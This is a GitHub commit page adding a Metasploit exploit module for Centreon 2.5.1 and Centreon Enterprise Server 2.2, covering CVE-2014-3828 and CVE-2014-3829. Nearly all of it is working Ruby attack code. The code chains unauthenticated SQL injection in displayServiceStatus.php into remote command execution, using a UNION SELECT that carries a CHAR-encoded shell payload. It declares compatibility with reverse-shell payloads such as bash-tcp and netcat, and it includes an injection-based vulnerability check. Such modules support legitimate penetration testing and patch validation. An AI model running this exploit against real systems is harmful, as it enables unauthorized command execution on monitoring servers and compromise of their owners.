Skip to content

Commit 299d9af

Browse files
committed
Add module for centreon vulnerabilities
1 parent 056ee4f commit 299d9af

File tree

1 file changed

+134
-0
lines changed

1 file changed

+134
-0
lines changed
Lines changed: 134 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,134 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Centreon SQL and Command Injection',
16+
'Description' => %q{
17+
This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
18+
Enterprise Server 2.2 and prior. The combination of both vulnerabilities, in the
19+
displayServiceStatus.php component, allow to remote unauthenticated execution of
20+
arbitrary commands. The module only requires a session available in the application
21+
at the moment of exploitation. This module has been tested successfully on Centreon
22+
Enterprise Server 2.2.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Tom MaZ', # Vulnerability Discovery
28+
'juan vazquez' # Metasploit Module
29+
],
30+
'References' =>
31+
[
32+
['CVE', '2014-3828'],
33+
['CVE', '2014-3829']
34+
],
35+
'Arch' => ARCH_CMD,
36+
'Platform' => 'unix',
37+
'Payload' =>
38+
{
39+
'Space' => 1500, # having into account 8192 as max URI length
40+
'DisableNops' => true,
41+
'Compat' =>
42+
{
43+
'PayloadType' => 'cmd cmd_bash',
44+
'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl'
45+
}
46+
},
47+
'Targets' =>
48+
[
49+
['Centreon Enterprise Server 2.2', {}]
50+
],
51+
'Privileged' => false,
52+
'DisclosureDate' => 'Oct 15 2014',
53+
'DefaultTarget' => 0))
54+
55+
register_options(
56+
[
57+
OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon'])
58+
], self.class)
59+
end
60+
61+
def check
62+
random_id = rand_text_numeric(5 + rand(8))
63+
res = send_session_id(random_id)
64+
65+
unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
66+
return Exploit::CheckCode::Safe
67+
end
68+
69+
injection = "#{random_id}' or 'a'='a"
70+
res = send_session_id(injection)
71+
72+
if res && res.code == 200
73+
if res.body && res.body.to_s =~ /sh: graph: command not found/
74+
return Exploit::CheckCode::Vulnerable
75+
elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
76+
return Exploit::CheckCode::Detected
77+
end
78+
end
79+
80+
Exploit::CheckCode::Safe
81+
end
82+
83+
def exploit
84+
if check == Exploit::CheckCode::Safe
85+
fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited")
86+
elsif check == Exploit::CheckCode::Detected
87+
fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited or you just need to wait until someone logged in")
88+
end
89+
90+
print_status("#{peer} - Exploiting...")
91+
random_id = rand_text_numeric(5 + rand(8))
92+
random_char = rand_text_alphanumeric(1)
93+
session_injection = "#{random_id}' or '#{random_char}'='#{random_char}"
94+
template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**"
95+
res = send_template_id(session_injection, template_injection)
96+
if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/
97+
vprint_status("Output: #{res.body}")
98+
end
99+
end
100+
101+
def send_session_id(session_id)
102+
res = send_request_cgi(
103+
'method' => 'GET',
104+
'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
105+
'vars_get' =>
106+
{
107+
'session_id' => session_id
108+
}
109+
)
110+
111+
res
112+
end
113+
114+
def send_template_id(session_id, template_id)
115+
res = send_request_cgi({
116+
'method' => 'GET',
117+
'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
118+
'vars_get' =>
119+
{
120+
'session_id' => session_id,
121+
'template_id' => template_id
122+
}
123+
}, 3)
124+
125+
res
126+
end
127+
128+
def mysql_payload
129+
p = ''
130+
payload.encoded.each_byte { |c| p << "#{c},"}
131+
p
132+
end
133+
134+
end

0 commit comments

Comments
 (0)